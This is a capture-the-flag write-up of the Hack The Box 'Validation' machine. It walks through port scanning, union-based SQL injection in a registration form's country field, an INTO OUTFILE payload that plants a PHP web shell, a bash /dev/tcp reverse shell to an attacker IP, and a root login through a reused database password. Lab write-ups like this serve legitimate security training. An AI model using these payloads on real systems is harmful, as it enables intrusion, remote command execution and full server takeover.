This post documents my process for solving the Validation box on Hack The Box. This challenge centers on SQL injection, writing a web shell via SQLi, and privilege escalation via password reuse.

Recon

Started with full port scan:

ports=$(nmap -p- --min-rate=1000 -T4 <IP> | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
echo $ports
# 22,80,4566,5000,5001,5002,5003,5004,5005,5006,5007,5008,8080

nmap -p$ports -sC -sV 10.10.11.116

Main open ports: 22 (SSH), 80 (Apache), 4566 (nginx), 8080 (nginx).

SQL Injection Discovery

During registration, both username and country are sent. The country parameter is injectable—single quotes caused a MySQL error:

Uncaught Error: Call to a member function fetch_assoc()

Confirmed union-based SQL injection:

  • ' union select null -- (one column)
  • ' union select @@version -- (got 10.5.11-MariaDB-1)
  • database() is registration

Enumerated schemas and columns:

  • SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA listed databases
  • union select table_name from information_schema.tables where table_schema='registration' -- revealed registration table

Uploading a Web Shell (Second-Order SQLi)

Used SQL injection to write a web shell:

Brazil' UNION SELECT "<?php SYSTEM($_REQUEST['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php'-- -

Note: You must visit /account.php after submitting the payload for the injection to take effect (second-order SQLi).

Once in place, access the shell:

http://10.10.11.116/shell.php?cmd=id

Listing files, found config.php:

<?php
  $servername = "127.0.0.1";
  $username = "uhc";
  $password = "uhc-9qual-global-pw";
  $dbname = "registration";
  $conn = new mysqli($servername, $username, $password, $dbname);
?>

Reverse Shell

To get a reverse shell, use:

curl http://10.10.11.116/shell.php --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/<YOUR_IP>/4444 0>&1"'

(Remember to have a listener on your machine: nc -lvnp 4444)

Privilege Escalation (Password Reuse)

Tried the MySQL credentials as the root password:

su -
Password: uhc-9qual-global-pw

Success! Now running as root, could grab root.txt.

Lessons Learned

  • Test all input fields for SQLi; union-based SQLi remains highly effective.
  • Second-order SQLi: the payload is triggered later, not immediately.
  • Writing a web shell via SQLi is a classic and powerful move.
  • Always read discovered config files for hardcoded credentials.
  • Try passwords everywhere—password reuse is a real-world admin mistake.

Writeup based on my exploitation process, with inspiration from CTF and community references.